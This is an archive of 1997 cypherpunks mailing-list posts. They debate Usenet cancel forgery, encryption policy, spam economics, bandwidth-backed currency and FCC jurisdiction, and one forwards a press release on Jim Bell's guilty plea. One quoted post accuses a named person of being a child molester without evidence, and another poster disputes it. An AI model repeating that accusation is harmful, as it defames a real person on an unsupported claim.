> Note: that's JYX.COM, (same as 108240.primehost.com) 
> our temp site to fill in for remanded JYA which  is to be unJimmed 
> soon, isn't it, your honor, what stink you screeching about, that's
> just rotting pork.
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr. Jai Maharaj" <jai@mantra.com>
Date: Fri, 1 Aug 1997 02:51:38 +0800
To: freedom-knights@jetcafe.org
Subject: Re: Entrust Technologies's Solo - free download
In-Reply-To: <199707311521.LAA03989@mail.storm.ca>
Message-ID: <3.0.2.32.19970731084010.009d8100@caprica.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:21 AM 7/31/97 -0400, Sandy Harris wrote:
> Dr. Jai Maharaj <jai@mantra.com> writes:
>
>|> ...where on this scale do you start to object to my actions:
>|> 1) I use a killfile to ignore certain messages.
>|> 2) I program my personal newsserver to discard certain messages.
>|> 3) A group of us, by consensus, program our common newsserver...
>|
>|Unanimous consent?
>|
>|> 4) A system admin, with due notice to users, programs a 
>|> newserver.....
>|
>|What constitutes "due notice" in the present context?
>
>Postings in news.announce.newusers.

That's ridiculous.  One shopping for an ISP, without
access to the Net, is not in a position to read a
notice in a newsgroup.  It makes sense that censorship
and forgery advocates would also suggest means of hiding
the truth.

Again, if an ISP were to advertise "Newsgroups censored 
through forgery" -- in electronic, print and broadcast
media, or wherever advertisements are placed or material
made available to investors, then that would be "due notice".

Jai Maharaj
jai@mantra.com
Om Shanti






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Fri, 1 Aug 1997 00:03:29 +0800
To: cypherpunks@cyberpass.net
Subject: Denning backs away from GAK
Message-ID: <199707311546.IAA24925@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain






"Encrypt expert revises views
Authorities crack codes on their own"

By Simpson Garfinkel, special to the Mercury News

"A key academic supporter of the Clinton administrations position in the
debate over controls on encryption software has found that the
scrambling techniques widely used today have not shielded criminals from
law enforecement authorities.  As a result, she is backing off from
her long-held belief that controls on strong encryption are essential
to fight crime"



http://www.sjmercury.com/business/compute/encrypt073097.htm


-- 
            Eric Murray    ericm@lne.com      ericm@nabletech.com
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 31 Jul 1997 21:15:53 +0800
To: cypherpunks@toad.com
Subject: URL for HR105-108, Part 1
Message-ID: <1.5.4.32.19970731125318.006dcab0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Mistype on the URL for SAFE Report Part 1.

As before offered, see HR 105-108, Part 1, published at the end of
May:

   http://jyx.com/hr105-108-pt1.txt





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@eff.org>
Date: Fri, 1 Aug 1997 00:14:38 +0800
To: cypherpunks@toad.com
Subject: I did get the infamous IRS letter after all
Message-ID: <Pine.GSO.3.95.970731085532.17782D-100000@eff.org>
MIME-Version: 1.0
Content-Type: text/plain



[I check eff.org only rarely. --Declan]

---------- Forwarded message ----------
Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov [204.151.245.2])
          by eff.org (8.8.5/8.8.4) with SMTP
	  id PAA23349 for <declan@eff.org>; Fri, 18 Jul 1997 15:43:59 -0700 (PDT)
Received: by tcs_gateway1.treas.gov id AA19660
  (InterLock SMTP Gateway 3.0 for declan@eff.org);
  Fri, 18 Jul 1997 18:47:02 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-2);
  Fri, 18 Jul 1997 18:47:02 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-1);
  Fri, 18 Jul 1997 18:47:02 -0400
Date: Thu, 17 Jul 1997 12:29:08 -0400
From: IRS Inspection <irsnwpr@net.insp.irs.gov>
Message-Id: <199707171629.MAA02733@net.insp.irs.gov>
To: Interested-Parties@net.insp.irs.gov
Subject: Something of Interest



					United States Attorney
					Western District of Washington

FOR IMMEDIATE RELEASE
July 18, 1997

JAMES D. BELL PLEADS GUILTY TO OBSTRUCTING THE IRS AND USING FALSE SOCIAL
SECURITY NUMBERS

United States Attorney Kate Pflaumer announced that JAMES DALTON BELL, 39,
pleaded guilty today in the federal court in Tacoma to two felony charges.
BELL, a resident of Vancouver, Washington, pleaded guilty to obstructing and
impeding the Internal Revenue Service (IRS), and to falsely using a social
security number with the intent to deceive.  United States District Court
Judge Franklin D. Burgess presided over today's proceedings.

The charges stem from an investigation initiated in October, 1996 by IRS
Internal Security Inspectors into reports that BELL was gathering the names
and home addresses of IRS employees. In previous court hearings, IRS
Inspectors testified that BELL had obtained the names and home addresses of
70 IRS employees as part of  "Operation LocatIRS." In the eight page plea
agreement signed by BELL, he acknowledged that he had gathered the names and
addresses of the IRS employees in order to intimidate them in the
performance of their official duties.

During the course of their investigation, IRS Inspectors discovered that
BELL was advocating a scheme called "Assassination Politics", whereby
persons would be rewarded with "digital cash" for killing certain
undesirable people.  BELL identified these undesirables as government
employees, such as IRS employees, who would be intimidated from enforcing
internal revenue laws for fear of being assassinated.  In the plea
agreement, BELL admitted that he suggested using "Assassination Politics" as
an enforcement mechanism for the "Multnomah County Common Law Court", and
that this was part of his effort to obstruct and impede the enforcement of
internal revenue laws.  In affidavits previously filed in this case, IRS
investigators identified BELL as a participant in the "Multnomah County
Common Law Court", which was described as a self-appointed anti-government
extremist group which purports to hold "trials" of IRS and other Government
employees for the performance of their official duties.  The affidavits
indicated that in January, 1997 the "Multnomah County Common Law Court" held
a "trial" of IRS and other Government officials.  

In the plea agreement, BELL also admitted that on March 16, 1997, he
conducted a chemical "stink bomb" attack on the IRS office in Vancouver,
Washington, using the noxious chemical mercaptan.  In affidavits filed with
the Court, IRS Inspectors tied BELL to two previous mercaptan attacks
against non-government targets: one being a lawyer's office in 1984, and the
other a vehicle in 1989.  The IRS investigators also linked BELL to two
purchase orders for noxious chemicals, one in 1994 and one in 1996.
According to the plea agreement, the attack on the IRS office resulted in a
cost to the government of $1,359, and caused a number of IRS employees to
have to leave work.  In an affidavit previously filed in this case, IRS
Inspectors indicated that the mercaptan attack may have been linked to the
February 20, 1997 seizure of BELL's vehicle by the IRS for unpaid taxes.

As part of the plea agreement, BELL also admitted that he used several
different social security numbers in order to hide assets from the IRS and
thus to impede the IRS's ability to collect taxes he owed and to prevent the
IRS from levying his wages.

Federal agents had previously executed two search warrants on BELL's
residence.  On April 1, 1997, IRS agents seized computers, documents, and
firearms during a search.  In a follow-up search, the Environmental
Protection Agency seized a variety of dangerous chemicals which had been
discovered during the execution of the  IRS warrant.  BELL was arrested by
IRS Inspectors on May 16, 1997.  BELL continues to be held in custody based
on a May 23, 1997 ruling by Magistrate Judge J. Kelley Arnold that BELL
posed a danger to the community and was a flight risk.

BELL faces a maximum sentence of three years in prison and a $250,000 fine
for the obstruction charge, and five years and a $250,000 fine for using a
phony social security number.

The IRS received assistance in the investigation of BELL from the Portland
Police Bureau, Oregon Department of Justice, Oregon State Police, Federal
Bureau of Investigation, and the Vancouver, Washington Police Department.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim Skirvin <tskirvin@math.uiuc.edu>
Date: Thu, 31 Jul 1997 22:12:54 +0800
To: freedom-knights@jetcafe.org
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <3.0.2.32.19970730124407.0098f250@caprica.com>
Message-ID: <19970731090023.27288@math.uiuc.edu>
MIME-Version: 1.0
Content-Type: text/plain



Ryan Anderson <randerso@ece.eng.wayne.edu> writes:

> "Make Money Fast" are killed because they're illegal scams in the US and I 
> think in most of the world.

	Make.Money.Fast is killed because it's spam a few thousand times 
over.  The legality of it doesn't come into question.

				- Tim Skirvin (tskirvin@uiuc.edu)
-- 
Skirv's Homepage<*>
The Killfile Dungeon





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr. Jai Maharaj" <jai@mantra.com>
Date: Fri, 1 Aug 1997 03:25:53 +0800
To: freedom-knights@jetcafe.org
Subject: Re: Entrust Technologies's Solo - free download
In-Reply-To: <199707311858.OAA10505@mail.storm.ca>
Message-ID: <3.0.2.32.19970731090708.00968100@caprica.com>
MIME-Version: 1.0
Content-Type: text/plain



At 2:58 PM 7/31/97 -0400, Sandy Harris wrote:
> Dr. Jai Maharaj <jai@mantra.com> wrote:
>
>|At 11:21 AM 7/31/97 -0400, Sandy Harris wrote:
>|> Dr. Jai Maharaj <jai@mantra.com> writes:
>|>|> ...where on this scale do you start to object to my actions:
>|>|>1) I use a killfile to ignore certain messages.
>|>|>2) I program my personal newsserver to discard certain messages.
>|>|>3) A group of us, by consensus, program our common newsserver...
>|>|
>|>|Unanimous consent?
>|>|
>|>|>4) A system admin, with due notice to users, programs a 
>|>|>newserver.....
>|>|
>|>|What constitutes "due notice" in the present context?
>|>
>|>Postings in news.announce.newusers.
>|
>|That's ridiculous.  One shopping for an ISP, without
>|access to the Net, is not in a position to read a
>|notice in a newsgroup. 
>
>No, but any decent ISP (or corporate or institutional system
> administrator) will . . .

The faact that an ISP supports censorship takes away
the "decent" qualification, thus invalidating the
other premise and whatever else was built upon it.

> . . . suggest reading that newsgroup in their
> material for new users and/or set up new accounts so they
> are automatically subscribed to it. & any sensible new user
> will read & heed.

That is unacceptable since the users would have already
paid for the account by that time and signed a contract.

Jai Maharaj
jai@mantra.com
Om Shanti






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 31 Jul 1997 21:40:29 +0800
To: Apache <apache@bear.apana.org.au>
Subject: Re: House Report on SAFE
Message-ID: <1.5.4.32.19970731131548.006e2578@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Apache wrote:

>I must have missed a post on this. Have you been ordered to remove 
>material by Jim Bell? Has equipment been seized?

No, nothing's been done like that to my site that I'm aware of. My 
remarks are meant to keep Jim Bell's undue incarceration alive.
Maybe a little whistling in the dark.

It's a bitch to be isolated and targeted like Jim has been, which is 
the oft-spammed point terrorists make with political hostages unable 
or unwilling to toe tithe.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 1 Aug 1997 00:40:01 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Third party rating services NOT self-rating (was Re: Yet another self-labeling system (do you remember -L18?))
In-Reply-To: <33DF9522.3985417E@cptech.org>
Message-ID: <19970731092109.15947@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, Jul 31, 1997 at 01:45:15AM +0100, Adam Back wrote:
[...]
> Even if government were to insist that everyone self rated, it would
> be damn near meaningless.

I think you are seriously underestimating the usefullness of 
self-rating.  Yes, indeed, there are people who will spoof them, or 
who may have a completely weird view of the world that allows them an 
odd interpretation of what the ratings mean, so you won't get 100% 
coverage.  

But it is important to remember that less than perfect coverage is
completely acceptable.  What you have to evaluate is whether the
percentage of coverage is worth the trouble.  

As has been pointed out, a large majority of sites that provide
"adult" material (under a very broad definition of "adult") *already*
self-rate -- their pages are usually (in my limited experience)
plastered with warnings, in fact.  And if there was a simple,
consistent standard for those already existing self-ratings it would 
be easy to generate filters for them.

Note that this is orthogonal to the issue of whether the self-ratings 
are government-mandated, and it works independently of government 
mandate.  The reason is that the larger porn sites are in it for the 
money, and *any* social sanction -- government, mail bombs, bad publicity, 
mass protest, real bombs etc -- makes it cost effective to do 
self-rating, if the self-rating is cheap.

More interesting than ratings, however, are techniques used to 
establish credentials for a large class of people.  How does one 
identify oneself as an "adult" in cyberspace?

If "adult" means "inhabits a physical human body at least 21 years 
old" then you have to tie a cyberspace identity to a human body.  
This is a tricky problem.

OTOH, if "adult" means "knows a certain body of knowledge, that only a
person who was alive and aware at date X would know", then you have a
much different, and really, much easier, problem -- you can devise a
test.  Such a test should have just a few questions, drawn from a
large pool, each of which has a fairly high probability of not being
answerable by a child.

"I am not a crook" was said by:
	a) Mickey Mouse, in the "Steamboat Willie" cartoon
	b) Richard Nixon
	c) 
	d) 

Ben Cartrights 3 sons were:
	a) Jimmy, John, and Sam
	b) etc
	c)
	d)

This approach was actually used by -- let's see -- the "Leisure Suit 
Larry" suite of games, and it was pretty effective at blocking 
children from playing.

[...]
> 
> General rhetorical question: indeed why have governments at all?

General rhetorical answer:  Because people are the way they are.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 31 Jul 1997 22:10:43 +0800
To: cypherpunks@toad.com
Subject: Re: uncensorable net based payment system?
In-Reply-To: <199707311307.IAA17412@mailhub.amaranth.com>
Message-ID: <cFkPae11w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"William H. Geiger III" <whgiii@amaranth.com> writes:

>
> -----BEGIN PGP SIGNED MESSAGE-----
>
> In <199707311240.NAA00742@server.test.net>, on 07/31/97
>    at 01:40 PM, Adam Back <aba@dcs.ex.ac.uk> said:
>
> >Then I can have some net cash savings backed by the rights to 1Tb of
> >bandwidth at 100 Mb/sec.  100 Mb/sec for 3 days.
>
> >A problem with this is that the market prices of the assets is
> >continually dropping.  How do I hedge against this.  Can I buy futures?
> >Sell 100 Mb/sec for 3 days now in exchange for 200 Mb/sec for 3 days in 1
> >years time at an predicted equivalent value?

This is a VERY interesting idea Adam.

But it should also depend on the time of day: 10mbps at 8 pm, when all
the geeks are jerking off online, is more valuable than 10mbps at 5 am.

Another observation is that a lot of folks have a lot of unused
bandwidth which they keep just in case they need it once a day.
If they can rent out the unused bandwidth, it'll make it cheaper
to buy even more bandwidth in case they need it later - a self-feeding
growth.  Cool.

> Well I see some problems with this. Any increase in bandwith requires the
> addition of hardware to accomplish it. It would be of little use to me to
> have 100 Mb/sec for 3days considering the cost of installing the lines and
> purchacing the extra equipment.
>
> Also in a packet switching environment how do you plan on insuring any
> amount of bandwith? The Backbone is not set-up for this. The only way in
> the current enviorment that you can guarantee a given bandwith is by
> having a dedicated connection point to point.

I had a very interesting conversation the other day about how electrical
utilities (and traders) are now developing fascinating derivatives based
on the electricity as a commodity.  Sure one can trade futures on electricity.
Electricity also comes in different kinds and at different prices depending on
the geographic location and the local time; noon electricity on the east
coast is not the same as the noon electricity in chicago. All this trading
leads not just to speculation, but to better hedging, more efficient
utilization of resources, and lower prices for end-users.

I'm shocked I myself didn't think then and there of an analogy with Internet
bandwidth.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 31 Jul 1997 22:51:38 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: uncensorable net based payment system?
In-Reply-To: <cFkPae11w165w@bwalk.dm.com>
Message-ID: <199707311442.JAA18579@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <cFkPae11w165w@bwalk.dm.com>, on 07/31/97 
   at 09:24 AM, dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:

>I'm shocked I myself didn't think then and there of an analogy with
>Internet bandwidth.

Well there are some distinct differences between a Utility
(Electric,Water,Gas) and that of Ineternet bandwith.

With a public utility the greatest expence is not in providing the pipe
(bandwith) but in generating the resources (electric,water,gas). The
oppisite of this is true with the internet. The monthy telco charges for
prividing the bandwith is much more than the cost's of providing the
resources (data).

I think a closer analogy to the Internet is that of a highway system
(Information Highway, who knew? <g>). You have the upfront expence of
building the highway (bandwith) and then the expences of up-keep &
maintinance (telco charges - profit).

Now we have two camps for how this should be paid for. Should the users
pay upfront for a certian amuont of usage (This is basicaly how it is
today) or should users pay a metered rate simmilar to a toll-road.

I myself prefer to pay a flat rate and make use of my time & bandwith as I
see fit than to pay on a metered rate. I remember years back with
Compu$erve paying a metered rate and getting +$100 mo. bills from them.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM+CWtI9Co1n+aLhhAQHUdAP/XGVlkVK1WvLxOfcLfK54hrBz0+AfHGDZ
RkUg/5zWXR1ViwVnRB1GyU10ndCu1bMuboqsINE2eUBNDTqDZHBbJgN9lT7TkbeI
Fxvr1tNZt+XWnwIb5XoMxT1Tp/ROD9H71lylgHOugeVjqootibOsiwiDVftmwRkh
BmVyovMhSgE=
=BuC3
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 1 Aug 1997 15:50:13 +0800
To: "Peter Trei" <trei@process.com>
Subject: Re: Rep. White introduces Internet Protection Act
In-Reply-To: <199707311411.HAA18283@toad.com>
Message-ID: <3.0.2.32.19970731094719.006f3430@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:12 AM 7/31/97 -6, Peter Trei wrote:
>Does the FCC charter mention photonic communications as 
>well? At what point does the charter allow them to 
>interfere? Here's some steps on the way...
>
>* A mime, 'working' outdoors in daylight.
>The communication is entirely by photons, and the light
>source is non-electronic. (I know that many people
>would like to see mimes suppressed for the good of 
>humanity, but bear with me).

"A mime is a terrible thing to waste."

>* A mime, working by electric light.
>
>Does the fact that electricity is involved in
>creating the light make the communication 
>'electronic'? I don't think so. 

Electrical, perhaps; electronic, no, unless the light is using
transistors or vacuum tubes for some reason.

A mime, working under a government-funded streetlight,
which is powered by electricity obtained from interstate commerce .....
Sure, we can regulate that!  :-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 1 Aug 1997 01:15:47 +0800
To: cypherpunks@toad.com
Subject: Re: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <199707311120.MAA00669@server.test.net>
Message-ID: <19970731095523.04336@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, Jul 31, 1997 at 08:16:59AM -0400, William H. Geiger III wrote:
[...]>
>>One way to implement this is for other people to pay the author for their
>>articles a penny if they like the article.  That way people who write
>>things which others find interesting to read get subsidized posting.  Is
>>it still free speech if you have to pay for your posts if you're arguing
>>for an unpopular minority?
>
>This will not work!!!

I agree.  If charging for mail would eliminate spam, then I should not
be getting the mailboxfull of physical junk mail I receive every
morning.  Postage benefits the MAIL CARRIER, not the recipient, and it
is in the best interests of the mail carrier to carry MORE mail, not
less.  So, e-postage will almost certainly cause more spam, not less. 

[...]

>It should be noted that the Bandwith issue is a red-herring.

However, I think your argument here is faulty, because bandwidth is in
fact oversubscribed -- the whole system depends on each end subscriber
not using all their bandwidth all the time.

> The bandwith
>of the USENET has been *PAID IN FULL* by every subscriber to an ISP. The
>ISP customers pay for their connections to their ISP who in turn pay for
>their connections to the Access providers who inturn pay for the Backbone.
>The PIPE has been paid for what goes over it not an issue. If all I want
>to do with my T1 connection is ship *.jpg files via ftp 24/7 that is no
>ones busines but my own.

Not really.  A T1 line, for example, can handle maybe 40-50 28.8 modems 
going full blast, but a small ISP over a T1 might have 200 customers.  
This goes right on up the line -- at every level bandwidth is 
oversubscribed, and successful operation of the net depends on 
certain statistical usage patterns.  So, while it isn't written down 
in a contract anywhere, what you are really paying for is peak 
bandwidth, not sustained bandwidth.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim Skirvin <tskirvin@math.uiuc.edu>
Date: Thu, 31 Jul 1997 23:17:53 +0800
To: freedom-knights@jetcafe.org
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <Pine.LNX.3.93.970731073318.102F-100000@shirley>
Message-ID: <19970731100829.06883@math.uiuc.edu>
MIME-Version: 1.0
Content-Type: text/plain



"Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com> writes:

> 1. "Spam cancellers" are not generally news admins. They are plain old
> users who get kicked off of their ISPs for forging cancels. For examples,
> see Net.Scum pages of Rick Buchanan, David Ritz, et al.

	Many spam cancellers are news admins.  Most of the major ones are
admins, in fact - Chris Lewis, JEM, etc.

> 2. Once a cancel-forger builds a "reputation" as a "spam canceller",
> s/he often diversifies into "retromodetration" - forgng cancels for
> singly-postd articles whose contents they don't like and claiming that
> they were "spam". For examples, see the Net.Scum pages for Guy Macon
> (the retromoderator on soc.religion.quaker), Chris Lewis, et al.

	This rarely happens, actually, and such situations are quickly
slapped down as soon as they're spotted.  

	The two examples Dimitri gives, of course, are major 
misrepresentations.

				- Tim Skirvin (tskirvin@uiuc.edu)
-- 
Skirv's Homepage<*>
The Killfile Dungeon





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chris DiBona <chrisd@loc201.tandem.com>
Date: Fri, 1 Aug 1997 01:20:27 +0800
To: "freedom-knights@jetcafe.org>
Subject: RE: Entrust Technologies's Solo - free download
Message-ID: <01BC9D99.CD73D990.chrisd@loc201.tandem.com>
MIME-Version: 1.0
Content-Type: text/plain



This is all nice and good, but the question is who is Chris Lewis, what is 
his connection to northern telecom, what the hell do you mean by forgery, 
are you implying the technology that entrust has in it's secure kernal is 
stolen? Keeping in mind that using public domain algorithms is not theft, 
and also keeping in mind that they have a patent license from public key 
partners, which allows them to use the "rsa" patents, and keeping in mind 
that a fully featured certificate system is much more than just a 
cryptography product. Is the law being broken here? Is there a breach of 
ethics at Entrust?

To restate.....what's wrong with what entrust is doing? Everyone has had 
such a good time talking about spamming and cancels, but I'm really 
interested in how Nortel is somehow committing a forgery.

Also looking around the dejanews stuff about lewis, he seems to be a spam 
cancel freak yes, but no pedophile.

Dimitri,   you seem to be a pretty smart guy...enlighten me on this whole 
thing. Do you mean that Nortel has a hand in the forging of spam cancels? 
Or do you mean that they have a hand in forging software?


  Chris DiBona



-----Original Message-----
From:	Dr.Dimitri Vulis KOTM [SMTP:dlv@bwalk.dm.com]
Sent:	Wednesday, July 30, 1997 6:22 AM
To:	cypherpunks@toad.com; freedom-knights@jetcafe.org
Subject:	Re: Entrust Technologies's Solo - free download

> Entrust Technologies (www.entrust.com) has made Solo available for
> download, free for 30-day evaluation & edu/non-profit. For Win95/NT.
> A mere $49 Cdn (~35 US) for commerical usage...
>
> For e-mail / file encryption, digital signature
>
> Solo uses 128-bit encryption, which is CAST-128, the royality-free
> algorithm invented at Entrust/NorTel. It also uses 1024-bit RSA 
public-key
> cryptography and has DES, Triple DES available.
>
> Also follows FIPS 140-1 validated security kernel. It is compatible with
> other Solo clients (of course), Entrust/Lite and Entrust.

I ask everyone on these two forums to inform Northern Telecom Forgers /
Bell North Forgery Research / Entrust that we will boycott their
"security" products as long they continue to employ the child-molesting
pedophile Chris R. Lewis - the biggest forger on Usenet.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Thu, 31 Jul 1997 22:21:02 +0800
To: cypherpunks@toad.com
Subject: Re: Rep. White introduces Internet Protection Act
Message-ID: <199707311411.HAA18283@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan writes:
 
> This is important. After all, the FCC's charter gives
> it jurisdiction over all electronic communications --
                           ^^^^^^^^^^
> though the commission has opted not to exercise its
> authority in cyberspace.

Here's a fun little thought experiment:

Considering the hairsplitting that takes place everyday
in courtrooms these days, an arguement could be made that
since virtually the entire net these days is optical fiber,
there are no 'electronic' communications taking place.

Does the FCC charter mention photonic communications as 
well? At what point does the charter allow them to 
interfere? Here's some steps on the way...


* A mime, 'working' outdoors in daylight.

The communication is entirely by photons, and the light
source is non-electronic. (I know that many people
would like to see mimes suppressed for the good of 
humanity, but bear with me).

* A mime, working by electric light.

Does the fact that electricity is involved in
creating the light make the communication 
'electronic'? I don't think so. (IANAL) It (the
mime) is certainly modulating the (electronically
generated) light, just as an optical transducer
does.

* A mime, illuminated by an electric
light, and viewed through a fiberscope.

There's certainly no new 'electronic' components
introduced at this step, so sending modulated, 
electronically generated, photonic messages 
through an optical fiber would not seem to 
constitute an 'electronic' communication.

* A mime performing inside a sealed box, 
illuminated by electric light and viewed 
through a fiberscope.

Once again, no new 'electronic' components have
been added. 

* The mime, finally realising that the box is 
airtight and unopenable (I told you to bear
with me :-), signals for help by sending Morse 
code down the fiberscope with a flashlight.

The other end of the fiberscope enters a similar
box, where another mime flashes back "Great
'walking against the wind' technique, but I can't
help - my box is sealed too."

Is this an electronic communication?

This is getting pretty close to the situation of
two computers connected by fiber optics - the 
communication mode is even digital. The boxes are 
silent, consume electric power, and communicate
via optical fiber. I don't think the FCC's 
jurisdiction extends inside the boxes, where all 
the 'electronic' portions of the system reside.

Just some idle speculation...


Peter Trei
trei@process.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vincent Cate <vince@offshore.com.ai>
Date: Thu, 31 Jul 1997 22:27:36 +0800
To: cypherpunks@toad.com
Subject: Re: uncensorable net based payment system?
In-Reply-To: <Pine.LNX.3.95.970731094524.8479A-100000@online.offshore.com.ai>
Message-ID: <Pine.LNX.3.95.970731094534.8114D-100000@online.offshore.com.ai>
MIME-Version: 1.0
Content-Type: text/plain




Adam Back <aba@dcs.ex.ac.uk> said:
>Then I can have some net cash savings backed by the rights to 1Tb of
>bandwidth at 100 Mb/sec.  100 Mb/sec for 3 days.
> 
>A problem with this is that the market prices of the assets is
>continually dropping.  How do I hedge against this.  Can I buy futures? 
>Sell 100 Mb/sec for 3 days now in exchange for 200 Mb/sec for 3 days in 1
>years time at an predicted equivalent value? 

I could imaging making a currency backed by "megabytes of data transfered"
to and from my server here in Anguilla.  This could be to run a web page,
mailing list, or whatever.

But you are right that it is an asset continually dropping in value, so
it is an odd thing to back a currency with.  Would only want to keep
enough money in it to do what you currently wanted to do, not as a long
term investment.

I could imaging just gradually increasing it so that $0.25 for 1 megabyte
today became $0.25 for 1.1 megabytes in 3 months, or something like that.

Interesting idea...

  --  Vince






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 1 Aug 1997 15:46:40 +0800
To: Ryan Anderson <randerso@ece.eng.wayne.edu>
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free  download)
In-Reply-To: <199707310103.CAA27631@server.test.net>
Message-ID: <3.0.2.32.19970731102244.006f3430@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:36 PM 7/30/97 -0400, Ryan Anderson wrote:
>"Make Money Fast" are killed because they're illegal scams in the US and I 
>think in most of the world.

They're illegal in the US primarily because the Post Office is confused
about whether its job is to deliver the mail or to censor it,
and delivery of MMFs by mail is policed by Postal Inspectors just as
delivery of obscenity by mail is.  It's a side effect of having services
provided by a government monopoly rather than the free market,
though I'm sure that to some extent it's because people started 
complaining to the Post Office that they were receiving junk mail,
and complaining to their legislators that they lost money on these scams.

On the Internet, on the other hand, not only is the stuff spam and a scam,
but it's abusing flat-rate prices for service, and service providers
don't like it.  Julf's remailer used to block MMFs.

Pyramid scams like the MMF, and the government's inability to deal with it,
brought down the Albanian government recently.  Here in the US that would
_never_ happen (:-), assuming of course you don't consider Social Security
to be a Ponzi scheme....

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 1 Aug 1997 15:43:47 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: uncensorable net based payment system?
In-Reply-To: <199707311240.NAA00742@server.test.net>
Message-ID: <3.0.2.32.19970731102641.006f3430@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:40 PM 7/31/97 +0100, Adam Back wrote:
>The internet looks like it is slowly moving towards anonymous
>micropayments for services, and metering for scarce resources.
...
>That is to say high velocity efficient markets will arise for resale
>of bandwidth, storage and CPU hours.
.....
>The interesting question then is can we actually base an entirely net
>based currency on trading of these resources. 

It's not very stable, though it might be useful for short term
exchanges of value.  On the other hand, since demand for resources
is very bursty and constantly fluctuating, what we're more likely to see
is an agoric computing model of continuous auctions for some resources,
which allows pricing to reflect the near-instantaneous demand
(and therefore to fluctuate wildly, making it really useless as currency :-)

